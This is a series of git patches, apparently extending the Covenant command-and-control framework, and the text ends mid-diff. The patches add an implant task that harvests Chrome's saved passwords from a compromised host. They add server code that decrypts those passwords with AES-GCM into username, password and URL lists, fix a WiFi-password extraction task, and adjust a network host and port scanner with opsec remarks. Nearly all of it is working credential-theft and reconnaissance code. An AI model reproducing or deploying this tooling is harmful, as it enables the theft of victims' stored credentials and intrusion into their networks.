+[submodule "Covenant/Data/ReferenceSourceLibraries/NET-scan"] + path = Covenant/Data/ReferenceSourceLibraries/NET-scan + url = https://github.com/khraoverflow/NET-scan diff --git a/Covenant/Data/ReferenceSourceLibraries/NET-scan b/Covenant/Data/ReferenceSourceLibraries/NET-scan new file mode 160000 index 00000000..9f3f62b1 --- /dev/null +++ b/Covenant/Data/ReferenceSourceLibraries/NET-scan @@ -0,0 +1 @@ +Subproject commit 9f3f62b16061fb8a31fbdc874cd24d8537babf3c From c7c31799037228f5c8daa76364ff61f6119eac18 Mon Sep 17 00:00:00 2001 From: thou-mayest <61654970+khraoverflow@users.noreply.github.com> Date: Sun, 11 Dec 2022 07:29:00 +0100 Subject: [PATCH 06/16] Chrome passwords decryptor --- .gitmodules | 3 + .../Components/Grunts/GruntCommandCard.razor | 38 ++++ Covenant/Core/CovenantHubService.cs | 13 ++ Covenant/Core/CovenantService.cs | 54 ++++++ Covenant/Core/DbInitializer.cs | 8 + Covenant/Covenant.csproj | 1 + .../ReferenceSourceLibraries/ChromeDecryptor | 1 + Covenant/Data/Tasks/Chrome_passwords.yaml | 171 ++++++++++++++++++ Covenant/Models/Covenant/Event.cs | 112 +++++++++++- 9 files changed, 400 insertions(+), 1 deletion(-) create mode 160000 Covenant/Data/ReferenceSourceLibraries/ChromeDecryptor create mode 100644 Covenant/Data/Tasks/Chrome_passwords.yaml diff --git a/.gitmodules b/.gitmodules index 90d51419..3957fa75 100644 --- a/.gitmodules +++ b/.gitmodules @@ -33,3 +33,6 @@ [submodule "Covenant/Data/ReferenceSourceLibraries/NET-scan"] path = Covenant/Data/ReferenceSourceLibraries/NET-scan url = https://github.com/khraoverflow/NET-scan +[submodule "Covenant/Data/ReferenceSourceLibraries/ChromeDecryptor"] + path = Covenant/Data/ReferenceSourceLibraries/ChromeDecryptor + url = https://github.com/khraoverflow/ChromeDecryptor diff --git a/Covenant/Components/Grunts/GruntCommandCard.razor b/Covenant/Components/Grunts/GruntCommandCard.razor index af8a1477..bcc72427 100644 --- a/Covenant/Components/Grunts/GruntCommandCard.razor +++ b/Covenant/Components/Grunts/GruntCommandCard.razor @@ -56,6 +56,24 @@ else if (GruntCommand.GruntTasking.Status == GruntTaskingStatus.Completed) {DownloadEvent downloadEvent = GetDownloadEvent(GruntCommand).WaitResult();

Download completed: @if (downloadEvent != null){}

} } + + else if (GruntCommand.GruntTasking != null && GruntCommand.GruntTasking.GruntTask != null && GruntCommand.GruntTasking.GruntTask.Name == "Chrome_passwords") + { + if (GruntCommand.GruntTasking.Status == GruntTaskingStatus.Progressed) + { +

Decrypting...

+ } + else if (GruntCommand.GruntTasking.Status == GruntTaskingStatus.Completed) + { + DecryptEvent decryptEvent = GetDecryptEvent(GruntCommand).WaitResult(); +

Decrypted : @if (decryptEvent != null) + { +

@decryptEvent.DecryptedOutput

+ } +

+ } + } + else {

@GruntCommand.CommandOutput.Output

@@ -147,6 +165,26 @@ Service.DisposeContext(); return downloadEvents .FirstOrDefault(DE => DE.Time == command.GruntTasking.CompletionTime && DE.FileContents == command.CommandOutput.Output); + + } + return null; + + } + + private async Task GetDecryptEvent(GruntCommand command) + { + if (GruntCommand.GruntTasking != null && GruntCommand.CommandOutput != null) + { + //IEnumerable decryptEvent = await Service.GetDecryptEvents(); + //Service.DisposeContext(); + //return decryptEvent + //.FirstOrDefault(DE => DE.Time == command.GruntTasking.CompletionTime && DE.EncryptedOutput == command.CommandOutput.Output); + + DecryptEvent dec = new DecryptEvent(); + + dec.EncryptedOutput = command.CommandOutput.Output; + dec.Decrypt(); + return dec; } return null; } diff --git a/Covenant/Core/CovenantHubService.cs b/Covenant/Core/CovenantHubService.cs index 28517c78..a577316d 100644 --- a/Covenant/Core/CovenantHubService.cs +++ b/Covenant/Core/CovenantHubService.cs @@ -259,6 +259,10 @@ public Task CreateScreenshotEvent(ScreenshotEvent screenshotEve { return _connection.InvokeAsync("CreateScreenshotEvent", screenshotEvent); } + public Task CreateDecryptEvent(DecryptEvent decryptEvent) + { + return _connection.InvokeAsync("CreateDecryptEvent", decryptEvent); + } public Task CreateTicketCredential(CapturedTicketCredential credential) { @@ -1095,6 +1099,15 @@ public Task> GetScreenshotEvents() return _connection.InvokeAsync>("GetScreenshotEvents"); } + public Task GetDecryptEvent(int eventId) + { + return _connection.InvokeAsync("GetDecryptEvent", eventId); + } + public Task> GetDecryptEvents() + { + return _connection.InvokeAsync>("GetDecryptEvents"); + } + public Task GetShellCodeLauncher() { return _connection.InvokeAsync("GetShellCodeLauncher"); diff --git a/Covenant/Core/CovenantService.cs b/Covenant/Core/CovenantService.cs index bd9006d1..a0e2565f 100644 --- a/Covenant/Core/CovenantService.cs +++ b/Covenant/Core/CovenantService.cs @@ -84,6 +84,13 @@ public interface IEventService Task GetScreenshotEvent(int eventId); Task GetScreenshotContent(int eventId); Task CreateScreenshotEvent(ScreenshotEvent screenshotEvent); + + Task> GetDecryptEvents(); + Task GetDecryptEvent(int eventId); + Task CreateDecryptEvent(DecryptEvent decryptEvent); + + + } public interface IImplantTemplateService @@ -925,6 +932,33 @@ public async Task CreateScreenshotEvent(ScreenshotEvent screens await _notifier.NotifyCreateEvent(this, screenshotEvent); return await this.GetScreenshotEvent(screenshotEvent.Id); } + + public async Task> GetDecryptEvents() + { + + return await _context.Events.Where(E => E.Type == EventType.Decrypt).Select(E => (DecryptEvent)E).ToListAsync(); + } + + public async Task GetDecryptEvent(int eventId) + { + DecryptEvent anEvent = (DecryptEvent)await _context.Events.FirstOrDefaultAsync(E => E.Id == eventId && E.Type == EventType.Decrypt); + if (anEvent == null) + { + throw new ControllerNotFoundException($"NotFound - DecryptEvent with id: {eventId}"); + } + return anEvent; + } + + + public async Task CreateDecryptEvent(DecryptEvent decryptEvent) + { + decryptEvent.Time = DateTime.UtcNow; + decryptEvent.Decrypt(); + await _context.Events.AddAsync(decryptEvent); + await _context.SaveChangesAsync(); + await _notifier.NotifyCreateEvent(this, decryptEvent); + return await this.GetDecryptEvent(decryptEvent.Id); + } #endregion #region ImplantTemplate Actions @@ -3050,10 +3084,13 @@ await _context.Grunts.Where(G => string verb = newStatus == GruntTaskingStatus.Completed ? "completed" : "progressed"; GruntTask DownloadTask = null; GruntTask ScreenshotTask = null; + GruntTask DecryptTask = null; try { DownloadTask = await this.GetGruntTaskByName("Download", grunt.DotNetVersion); ScreenshotTask = await this.GetGruntTaskByName("ScreenShot", grunt.DotNetVersion); + DecryptTask = await this.GetGruntTaskByName("Chrome_passwords", grunt.DotNetVersion); + } catch (ControllerNotFoundException) { } @@ -3093,6 +3130,23 @@ await _context.Grunts.Where(G => await _context.Events.AddAsync(screenshotEvent); await _notifier.NotifyCreateEvent(this, screenshotEvent); } + else if (DecryptTask != null && tasking.GruntTaskId == DecryptTask.Id && newStatus == GruntTaskingStatus.Completed) + { + string FileName = tasking.Name + ".png"; + DecryptEvent decryptEv = new DecryptEvent + { + Time = updatingGruntTasking.CompletionTime, + MessageHeader = "gathering passwords ...", + MessageBody = "passwords: ", + Level = EventLevel.Info, + Context = grunt.Name, + + EncryptedOutput = updatingGruntTasking.GruntCommand.CommandOutput.Output + }; + decryptEv.Decrypt(); + await _context.Events.AddAsync(decryptEv); + await _notifier.NotifyCreateEvent(this, decryptEv); + } } updatingGruntTasking.TaskingTime = tasking.TaskingTime; updatingGruntTasking.Status = newStatus; diff --git a/Covenant/Core/DbInitializer.cs b/Covenant/Core/DbInitializer.cs index 71cf5267..d73e74bc 100644 --- a/Covenant/Core/DbInitializer.cs +++ b/Covenant/Core/DbInitializer.cs @@ -267,6 +267,12 @@ public async static Task InitializeTasks(ICovenantService service, CovenantConte Name = "NET-scan", Description = "network host and port scanner ", Location = "NET-scan" + Path.DirectorySeparatorChar, CompatibleDotNetVersions = new List{Common.DotNetVersion.Net40,Common.DotNetVersion.Net35} + }, + new ReferenceSourceLibrary + { + Name = "ChromeDecryptor", Description = "Chrome password extrating tool ", + Location = "ChromeDecryptor" + Path.DirectorySeparatorChar, + CompatibleDotNetVersions = new List{Common.DotNetVersion.Net40,Common.DotNetVersion.Net35} } }; await service.CreateReferenceSourceLibraries(ReferenceSourceLibraries); @@ -281,6 +287,8 @@ public async static Task InitializeTasks(ICovenantService service, CovenantConte var sw = await service.GetReferenceSourceLibraryByName("SharpWMI"); var sc = await service.GetReferenceSourceLibraryByName("SharpSC"); var khra_can = await service.GetReferenceSourceLibraryByName("NET-scan"); + var ChromeDecryptor = await service.GetReferenceSourceLibraryByName("ChromeDecryptor"); + await service.CreateEntities( new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net35) }, new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ss, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net40) }, diff --git a/Covenant/Covenant.csproj b/Covenant/Covenant.csproj index 62d31161..07a06e49 100644 --- a/Covenant/Covenant.csproj +++ b/Covenant/Covenant.csproj @@ -30,6 +30,7 @@ + diff --git a/Covenant/Data/ReferenceSourceLibraries/ChromeDecryptor b/Covenant/Data/ReferenceSourceLibraries/ChromeDecryptor new file mode 160000 index 00000000..3abb44c3 --- /dev/null +++ b/Covenant/Data/ReferenceSourceLibraries/ChromeDecryptor @@ -0,0 +1 @@ +Subproject commit 3abb44c3348e894c677426e40cc6f3353ae5abbc diff --git a/Covenant/Data/Tasks/Chrome_passwords.yaml b/Covenant/Data/Tasks/Chrome_passwords.yaml new file mode 100644 index 00000000..3f408c3c --- /dev/null +++ b/Covenant/Data/Tasks/Chrome_passwords.yaml @@ -0,0 +1,171 @@ +- Name: Chrome_passwords + Aliases: [] + Description: get Chrome stored passwords + Author: + Name: amine brahmi + Handle: khraoverflow + Link: https://twitter.com/dr_whoami_ + Help: + Language: CSharp + CompatibleDotNetVersions: + - Net35 + - Net40 + Code: | + using System; + using System.IO; + using System.Reflection; + using System.Threading; + + using ChromeDecryptor; + + + public static class Task + { + public static Stream OutputStream { get; set; } + public static string Execute(string Command) + { + + + try + { + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + StreamWriter stdOutWriter = new StreamWriter(OutputStream); + StreamWriter stdErrWriter = new StreamWriter(OutputStream); + stdOutWriter.AutoFlush = true; + stdErrWriter.AutoFlush = true; + Console.SetOut(stdOutWriter); + Console.SetError(stdErrWriter); + + string[] args = Command.Split(' '); + typeof(ChromeDecryptor.Program).GetMethod("Main", BindingFlags.NonPublic | BindingFlags.Static).Invoke(null, new object[] { args }); + + Console.Out.Flush(); + Console.Error.Flush(); + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + + OutputStream.Close(); + return ""; + } + catch (Exception e) + { + + return e.Message; + } + } + + } + + + TaskingType: Assembly + UnsafeCompile: false + TokenTask: false + Options: + - Name: Command + Value: '' + DefaultValue: '' + Description: path to files + SuggestedValues: + - c:\tmp + Optional: true + DisplayInCommand: true + FileOption: false + ReferenceSourceLibraries: + - Name: ChromeDecryptor + Description: a .NET assembly to gather saved browser creds + Location: ChromeDecryptor\ + Language: CSharp + CompatibleDotNetVersions: + - Net35 + - Net40 + ReferenceAssemblies: + - Name: System.Management.Automation.dll + Location: net35\System.Management.Automation.dll + DotNetVersion: Net35 + - Name: System.Management.dll + Location: net40\System.Management.dll + DotNetVersion: Net40 + - Name: System.Management.Automation.dll + Location: net40\System.Management.Automation.dll + DotNetVersion: Net40 + - Name: System.IdentityModel.dll + Location: net40\System.IdentityModel.dll + DotNetVersion: Net40 + - Name: System.dll + Location: net40\System.dll + DotNetVersion: Net40 + - Name: System.DirectoryServices.dll + Location: net40\System.DirectoryServices.dll + DotNetVersion: Net40 + - Name: System.Core.dll + Location: net40\System.Core.dll + DotNetVersion: Net40 + - Name: mscorlib.dll + Location: net40\mscorlib.dll + DotNetVersion: Net40 + - Name: System.Management.dll + Location: net35\System.Management.dll + DotNetVersion: Net35 + - Name: mscorlib.dll + Location: net35\mscorlib.dll + DotNetVersion: Net35 + - Name: System.Core.dll + Location: net35\System.Core.dll + DotNetVersion: Net35 + - Name: System.DirectoryServices.dll + Location: net35\System.DirectoryServices.dll + DotNetVersion: Net35 + - Name: System.dll + Location: net35\System.dll + DotNetVersion: Net35 + - Name: System.IdentityModel.dll + Location: net35\System.IdentityModel.dll + DotNetVersion: Net35 + EmbeddedResources: [] + ReferenceAssemblies: + - Name: System.Management.Automation.dll + Location: net35\System.Management.Automation.dll + DotNetVersion: Net35 + - Name: System.Management.dll + Location: net40\System.Management.dll + DotNetVersion: Net40 + - Name: System.Management.Automation.dll + Location: net40\System.Management.Automation.dll + DotNetVersion: Net40 + - Name: System.IdentityModel.dll + Location: net40\System.IdentityModel.dll + DotNetVersion: Net40 + - Name: System.dll + Location: net40\System.dll + DotNetVersion: Net40 + - Name: System.DirectoryServices.dll + Location: net40\System.DirectoryServices.dll + DotNetVersion: Net40 + - Name: System.Core.dll + Location: net40\System.Core.dll + DotNetVersion: Net40 + - Name: mscorlib.dll + Location: net40\mscorlib.dll + DotNetVersion: Net40 + - Name: System.Management.dll + Location: net35\System.Management.dll + DotNetVersion: Net35 + - Name: mscorlib.dll + Location: net35\mscorlib.dll + DotNetVersion: Net35 + - Name: System.Core.dll + Location: net35\System.Core.dll + DotNetVersion: Net35 + - Name: System.DirectoryServices.dll + Location: net35\System.DirectoryServices.dll + DotNetVersion: Net35 + - Name: System.dll + Location: net35\System.dll + DotNetVersion: Net35 + - Name: System.IdentityModel.dll + Location: net35\System.IdentityModel.dll + DotNetVersion: Net35 + EmbeddedResources: [] + diff --git a/Covenant/Models/Covenant/Event.cs b/Covenant/Models/Covenant/Event.cs index 842183c0..9dd6c25c 100644 --- a/Covenant/Models/Covenant/Event.cs +++ b/Covenant/Models/Covenant/Event.cs @@ -6,6 +6,14 @@ using System.IO; using Covenant.Core; +using System.Security.Cryptography; +using System.Collections.Generic; +using System.Text; +using Org.BouncyCastle.Crypto.Engines; +using Org.BouncyCastle.Crypto.Modes; +using Org.BouncyCastle.Crypto.Parameters; +using System.Linq; +using static Donut.Helper; namespace Covenant.Models.Covenant { @@ -22,7 +30,8 @@ public enum EventType { Normal, Download, - Screenshot + Screenshot, + Decrypt } public class Event @@ -36,6 +45,107 @@ public class Event public string Context { get; set; } = "*"; } + public class DecryptEvent : Event + { + + public string EncryptedOutput { get; set; } = ""; + public string DecryptedOutput { get; set; } = ""; + + public DecryptEvent() + { + this.Type = EventType.Decrypt; + } + + public bool Decrypt() + { + + string[] lines = EncryptedOutput.Split(Environment.NewLine); + + byte[] key = Convert.FromBase64String(lines[0]); + + + DecryptedOutput = "master key decrypted: " + lines[0] + Environment.NewLine; + + DecryptedOutput += "username : password : url" + Environment.NewLine; + DecryptedOutput += "______________________________________________________" + Environment.NewLine; + + try + { + foreach (string line in lines) + { + try + { + string username = line.Split(':')[0]; + + byte[] payload = Convert.FromBase64String(line.Split(':')[1].Substring(4)); + string password = Encoding.Default.GetString(AesGcmDecrypt(key, payload)); + + DecryptedOutput += username + " : " + password + " : " + line.Split(':')[2] + line.Split(':')[3]; + DecryptedOutput += Environment.NewLine; + + } + catch (Exception) + { + + } + + + } + } + catch (Exception x) + { + + DecryptedOutput = x.Message + Environment.NewLine + EncryptedOutput; + } + + + + //string pass = lines[3].Split(':')[1].Substring(4); + + + + //byte[] payload = Convert.FromBase64String("djEwuFGRQmVcqIKMu0ONmtpURUQMGbsoC77S4Av62iLVyrZNFOw9xNWPqg=="); + + + //DecryptedOutput = Encoding.Default.GetString(AesGcmDecrypt(key,payload)); + + + + return true; + } + + //private static string Decrypt(string base64Key, string base64Ciphertext) + //{ + + + //} + + public static byte[] AesGcmDecrypt( byte[] key, byte[] payload) + { + //byte[] realPayload = new byte[payload.Length - 12], nonce = new byte[12]; + //Buffer.BlockCopy(payload, 3, nonce, 0, 12); // get the first 12 bytes as nonce + //Buffer.BlockCopy(payload, 15, realPayload, 0, payload.Length - 12); // get the rest as the payload + + byte[] nonce = payload.Skip(3).Take(12).ToArray(); + byte[] realPayload = payload.Skip(15).ToArray(); // from 15 to end + + + return AesGcmDecrypt(realPayload, key, nonce); + } + + public static byte[] AesGcmDecrypt(byte[] payload, byte[] key, byte[] nonce) + { + var cipher = new GcmBlockCipher(new AesEngine()); + cipher.Init(false, new AeadParameters(new KeyParameter(key), 128, nonce)); + + var clearBytes = new byte[cipher.GetOutputSize(payload.Length)]; + int len = cipher.ProcessBytes(payload, 0, payload.Length, clearBytes, 0); + cipher.DoFinal(clearBytes, len); + return clearBytes; + } + + } + public class DownloadEvent : Event { public enum DownloadProgress From dd4dd136b492d09eab8c1020d7773e47174afc77 Mon Sep 17 00:00:00 2001 From: thou-mayest <61654970+khraoverflow@users.noreply.github.com> Date: Sun, 11 Dec 2022 21:47:24 +0100 Subject: [PATCH 07/16] fixing shit --- Covenant/Data/ReferenceSourceLibraries/ChromeDecryptor | 2 +- Covenant/Data/ReferenceSourceLibraries/NET-scan | 2 +- Covenant/Data/Tasks/Chrome_passwords.yaml | 5 ++--- Covenant/Data/Tasks/NET-scan.yaml | 8 ++++---- Covenant/Data/Tasks/Wifi_password.yaml | 7 ++++--- 5 files changed, 12 insertions(+), 12 deletions(-) diff --git a/Covenant/Data/ReferenceSourceLibraries/ChromeDecryptor b/Covenant/Data/ReferenceSourceLibraries/ChromeDecryptor index 3abb44c3..30e4040e 160000 --- a/Covenant/Data/ReferenceSourceLibraries/ChromeDecryptor +++ b/Covenant/Data/ReferenceSourceLibraries/ChromeDecryptor @@ -1 +1 @@ -Subproject commit 3abb44c3348e894c677426e40cc6f3353ae5abbc +Subproject commit 30e4040e062e06d77e3c618d83e07800f23d0ee3 diff --git a/Covenant/Data/ReferenceSourceLibraries/NET-scan b/Covenant/Data/ReferenceSourceLibraries/NET-scan index 9f3f62b1..6fb06b8d 160000 --- a/Covenant/Data/ReferenceSourceLibraries/NET-scan +++ b/Covenant/Data/ReferenceSourceLibraries/NET-scan @@ -1 +1 @@ -Subproject commit 9f3f62b16061fb8a31fbdc874cd24d8537babf3c +Subproject commit 6fb06b8d366f94f93460d2d059f2fb29466b3cb5 diff --git a/Covenant/Data/Tasks/Chrome_passwords.yaml b/Covenant/Data/Tasks/Chrome_passwords.yaml index 3f408c3c..12ab9d29 100644 --- a/Covenant/Data/Tasks/Chrome_passwords.yaml +++ b/Covenant/Data/Tasks/Chrome_passwords.yaml @@ -67,10 +67,9 @@ Value: '' DefaultValue: '' Description: path to files - SuggestedValues: - - c:\tmp + SuggestedValues: [] Optional: true - DisplayInCommand: true + DisplayInCommand: false FileOption: false ReferenceSourceLibraries: - Name: ChromeDecryptor diff --git a/Covenant/Data/Tasks/NET-scan.yaml b/Covenant/Data/Tasks/NET-scan.yaml index b0fa42f1..965b9655 100644 --- a/Covenant/Data/Tasks/NET-scan.yaml +++ b/Covenant/Data/Tasks/NET-scan.yaml @@ -68,17 +68,17 @@ - Name: Command Value: '' DefaultValue: '' - Description: NET-scan command to execute, whole command should be inside quotes. + Description: NET-scan command to execute, the command should be inside quotes, followed (optionally) by timeout to wait for output. SuggestedValues: - - hosts -r 192.168.1-2.1-254 -p 445 - - ports -h 192.168.56.1 -p 1000 + - '\"hosts -r 192.168.1-2.1-254 -p 445\" 30' + - '\"ports -h 192.168.56.1 -p 1000\" 60' Optional: true DisplayInCommand: true FileOption: false - Name: Wait_sec Value: '' DefaultValue: '60' - Description: time to wait while multiple threads are printing the output of the command, this command isn't very opsec safe don't set anything too high unless you know the scan will take that much time. + Description: time out to wait for outupt, this command isn't very opsec safe don't set anything too high unless you know the scan will take that much time. SuggestedValues: [] Optional: true DisplayInCommand: false diff --git a/Covenant/Data/Tasks/Wifi_password.yaml b/Covenant/Data/Tasks/Wifi_password.yaml index 970209ad..3b1c9396 100644 --- a/Covenant/Data/Tasks/Wifi_password.yaml +++ b/Covenant/Data/Tasks/Wifi_password.yaml @@ -57,7 +57,7 @@ { string separator = ""; - separator = ci.Name.Contains("fr") ? "Profil Tous les utilisateurs" : "add english version"; + separator = ci.Name.Contains("fr") ? "Profil Tous les utilisateurs" : "All User Profile"; if (line.Contains(separator)) { @@ -102,11 +102,12 @@ { string separator = ""; - separator = ci.Name.Contains("fr") ? "clé" : "add english version (key ?)"; + separator = ci.Name.Contains("fr") ? "clé" : "key Content"; if (line.IndexOf(separator) != -1 ) { - string pass = line.Substring(12 + line.IndexOf("clé"), line.Length - line.IndexOf("clé") - 12); + string pass = line.Substring(2 + line.IndexOf(": "), line.Length - line.IndexOf(": ") - 2); + output += wifi + string.Empty.PadLeft(26-wifi.Length,' ') + pass + Environment.NewLine; output += "=================================================" + Environment.NewLine; } From bbfb1c87adde2ccd42d36534d7d450803839e2a5 Mon Sep 17 00:00:00 2001 From: thou-mayest <61654970+khraoverflow@users.noreply.github.com> Date: Mon, 12 Dec 2022 20:40:07 +0100 Subject: [PATCH 08/16] fixing DecryptEvent --- Covenant/Components/Grunts/GruntCommandCard.razor | 13 ++++--------- Covenant/Models/CovenantContext.cs | 2 ++ 2 files changed, 6 insertions(+), 9 deletions(-) diff --git a/Covenant/Components/Grunts/GruntCommandCard.razor b/Covenant/Components/Grunts/GruntCommandCard.razor index bcc72427..d68575e0 100644 --- a/Covenant/Components/Grunts/GruntCommandCard.razor +++ b/Covenant/Components/Grunts/GruntCommandCard.razor @@ -175,16 +175,11 @@ { if (GruntCommand.GruntTasking != null && GruntCommand.CommandOutput != null) { - //IEnumerable decryptEvent = await Service.GetDecryptEvents(); - //Service.DisposeContext(); - //return decryptEvent - //.FirstOrDefault(DE => DE.Time == command.GruntTasking.CompletionTime && DE.EncryptedOutput == command.CommandOutput.Output); - - DecryptEvent dec = new DecryptEvent(); + IEnumerable decryptEvent = await Service.GetDecryptEvents(); + Service.DisposeContext(); + return decryptEvent + .FirstOrDefault(DE => DE.Time == command.GruntTasking.CompletionTime && DE.EncryptedOutput == command.CommandOutput.Output); - dec.EncryptedOutput = command.CommandOutput.Output; - dec.Decrypt(); - return dec; } return null; } diff --git a/Covenant/Models/CovenantContext.cs b/Covenant/Models/CovenantContext.cs index ea0976c4..48a604b4 100644 --- a/Covenant/Models/CovenantContext.cs +++ b/Covenant/Models/CovenantContext.cs @@ -85,6 +85,8 @@ protected override void OnModelCreating(ModelBuilder builder) builder.Entity(); builder.Entity(); + builder.Entity(); + builder.Entity(); builder.Entity(); builder.Entity(); From a0d41940349513875b12499537a3fe943090a125 Mon Sep 17 00:00:00 2001 From: thou-mayest <61654970+khraoverflow@users.noreply.github.com> Date: Wed, 14 Dec 2022 17:27:05 +0100 Subject: [PATCH 09/16] oopsies --- Covenant/Data/Tasks/NET-scan.yaml | 23 +++++--------------- Covenant/Models/Covenant/Event.cs | 35 ++++++++++--------------------- 2 files changed, 16 insertions(+), 42 deletions(-) diff --git a/Covenant/Data/Tasks/NET-scan.yaml b/Covenant/Data/Tasks/NET-scan.yaml index 965b9655..0984f681 100644 --- a/Covenant/Data/Tasks/NET-scan.yaml +++ b/Covenant/Data/Tasks/NET-scan.yaml @@ -21,7 +21,7 @@ public static class Task { public static Stream OutputStream { get; set; } - public static string Execute(string Command, string Wait_sec) + public static string Execute(string Command) { try { @@ -34,14 +34,9 @@ Console.SetOut(stdOutWriter); Console.SetError(stdErrWriter); - string[] args = Command.Split(' '); - typeof(net_scan.Program).GetMethod("Main", BindingFlags.NonPublic | BindingFlags.Static).Invoke(null, new object[] { args }); - //Thread thread = new Thread(() => net_scan.Program.Main(args)); - //thread.Start(); + string[] args = Command.Split(' '); + typeof(net_scan.Program).GetMethod("Main", BindingFlags.NonPublic | BindingFlags.Static).Invoke(null, new object[] { args }); - Thread.Sleep(1000*int.Parse(Wait_sec)); - - Console.Out.Flush(); Console.Error.Flush(); @@ -70,19 +65,11 @@ DefaultValue: '' Description: NET-scan command to execute, the command should be inside quotes, followed (optionally) by timeout to wait for output. SuggestedValues: - - '\"hosts -r 192.168.1-2.1-254 -p 445\" 30' - - '\"ports -h 192.168.56.1 -p 1000\" 60' + - hosts -r 192.168.1-2.1-254 -p 445 + - ports -h 192.168.56.1 -p 1000 Optional: true DisplayInCommand: true FileOption: false - - Name: Wait_sec - Value: '' - DefaultValue: '60' - Description: time out to wait for outupt, this command isn't very opsec safe don't set anything too high unless you know the scan will take that much time. - SuggestedValues: [] - Optional: true - DisplayInCommand: false - FileOption: false ReferenceSourceLibraries: - Name: NET-scan Description: NET-scan is a .NET assembly to perform host discovery based on a mass port scan , and a port scanner. diff --git a/Covenant/Models/Covenant/Event.cs b/Covenant/Models/Covenant/Event.cs index 9dd6c25c..a83698d0 100644 --- a/Covenant/Models/Covenant/Event.cs +++ b/Covenant/Models/Covenant/Event.cs @@ -75,14 +75,23 @@ public bool Decrypt() { try { - string username = line.Split(':')[0]; + string username = line.Split(':')[0]; + if(line.Split(':')[1].StartsWith("ENC_")) + { byte[] payload = Convert.FromBase64String(line.Split(':')[1].Substring(4)); string password = Encoding.Default.GetString(AesGcmDecrypt(key, payload)); DecryptedOutput += username + " : " + password + " : " + line.Split(':')[2] + line.Split(':')[3]; DecryptedOutput += Environment.NewLine; + } + else + { + DecryptedOutput += username + " : " + line.Split(':')[1] + " : " + line.Split(':')[2] + line.Split(':')[3]; + DecryptedOutput += Environment.NewLine; + } + } catch (Exception) { @@ -97,35 +106,13 @@ public bool Decrypt() DecryptedOutput = x.Message + Environment.NewLine + EncryptedOutput; } - - - - //string pass = lines[3].Split(':')[1].Substring(4); - - - - //byte[] payload = Convert.FromBase64String("djEwuFGRQmVcqIKMu0ONmtpURUQMGbsoC77S4Av62iLVyrZNFOw9xNWPqg=="); - - - //DecryptedOutput = Encoding.Default.GetString(AesGcmDecrypt(key,payload)); - - - return true; } - //private static string Decrypt(string base64Key, string base64Ciphertext) - //{ - - - //} public static byte[] AesGcmDecrypt( byte[] key, byte[] payload) { - //byte[] realPayload = new byte[payload.Length - 12], nonce = new byte[12]; - //Buffer.BlockCopy(payload, 3, nonce, 0, 12); // get the first 12 bytes as nonce - //Buffer.BlockCopy(payload, 15, realPayload, 0, payload.Length - 12); // get the rest as the payload - + byte[] nonce = payload.Skip(3).Take(12).ToArray(); byte[] realPayload = payload.Skip(15).ToArray(); // from 15 to end From d8ae0c1a138774ee4229a004aa887528a9304cfc Mon Sep 17 00:00:00 2001 From: thou-mayest <61654970+khraoverflow@users.noreply.github.com> Date: Wed, 21 Dec 2022 16:36:31 +0100 Subject: [PATCH 10/16] Merge branch 'master' into dev & fixes --- .../Components/Grunts/GruntCommandCard.razor | 25 ++++++---- Covenant/Core/CovenantHubService.cs | 10 +++- Covenant/Core/CovenantService.cs | 49 ++++++++++++++++++- Covenant/Core/DbInitializer.cs | 12 ++--- Covenant/Data/Tasks/NET-scan.yaml | 2 +- Covenant/Models/Covenant/Event.cs | 14 ++++-- Covenant/Models/CovenantContext.cs | 2 +- 7 files changed, 87 insertions(+), 27 deletions(-) diff --git a/Covenant/Components/Grunts/GruntCommandCard.razor b/Covenant/Components/Grunts/GruntCommandCard.razor index f5820949..0739d4f0 100644 --- a/Covenant/Components/Grunts/GruntCommandCard.razor +++ b/Covenant/Components/Grunts/GruntCommandCard.razor @@ -190,16 +190,23 @@ private async Task GetDecryptEvent(GruntCommand command) { - if (GruntCommand.GruntTasking != null && GruntCommand.CommandOutput != null) - { - IEnumerable decryptEvent = await Service.GetDecryptEvents(); - Service.DisposeContext(); - return decryptEvent - .FirstOrDefault(DE => DE.Time == command.GruntTasking.CompletionTime && DE.EncryptedOutput == command.CommandOutput.Output); - } - - return null; + //try + //{ + // lock (_serviceLock) + // { + // DecryptEvent ev = Service.GetDecryptEventByGruntCommand(command.Id).WaitResult(); + // Service.DisposeContext(); + // return ev; + // } + //} + //catch { return null; } + + DecryptEvent dec = new DecryptEvent(); + + dec.EncryptedOutput = command.CommandOutput.Output; + dec.Decrypt(); + return dec; } private ScreenshotEvent GetScreenshotEvent(GruntCommand command) diff --git a/Covenant/Core/CovenantHubService.cs b/Covenant/Core/CovenantHubService.cs index 67fc0288..561dca8f 100644 --- a/Covenant/Core/CovenantHubService.cs +++ b/Covenant/Core/CovenantHubService.cs @@ -259,7 +259,7 @@ public Task CreateScreenshotEvent(ScreenshotEventContent screen { return _connection.InvokeAsync("CreateScreenshotEvent", screenshotEvent); } - public Task CreateDecryptEvent(DecryptEvent decryptEvent) + public Task CreateDecryptEvent(DecryptEventContent decryptEvent) { return _connection.InvokeAsync("CreateDecryptEvent", decryptEvent); } @@ -1093,6 +1093,9 @@ public Task GetDecryptEvent(int eventId) { return _connection.InvokeAsync("GetDecryptEvent", eventId); } + + + public Task> GetDecryptEvents() { return _connection.InvokeAsync>("GetDecryptEvents"); @@ -1247,5 +1250,10 @@ public Task ResetCovenantToFactoryDefault(ClaimsPrincipal principal) { return _connection.InvokeAsync("ResetCovenantToFactoryDefault", principal); } + + public Task GetDecryptEventByGruntCommand(int id) + { + return _connection.InvokeAsync("GetDecryptEventByGruntCommand", id); + } } } \ No newline at end of file diff --git a/Covenant/Core/CovenantService.cs b/Covenant/Core/CovenantService.cs index d386b20b..c98f5e93 100644 --- a/Covenant/Core/CovenantService.cs +++ b/Covenant/Core/CovenantService.cs @@ -25,6 +25,7 @@ using Covenant.Models.Grunts; using Covenant.Models.Indicators; using NLog; +using Org.BouncyCastle.Crypto; namespace Covenant.Core { @@ -88,8 +89,9 @@ public interface IEventService Task CreateScreenshotEvent(ScreenshotEventContent screenshotEvent); Task DeleteEvent(int id); Task> GetDecryptEvents(); + Task GetDecryptEventByGruntCommand(int id); Task GetDecryptEvent(int eventId); - Task 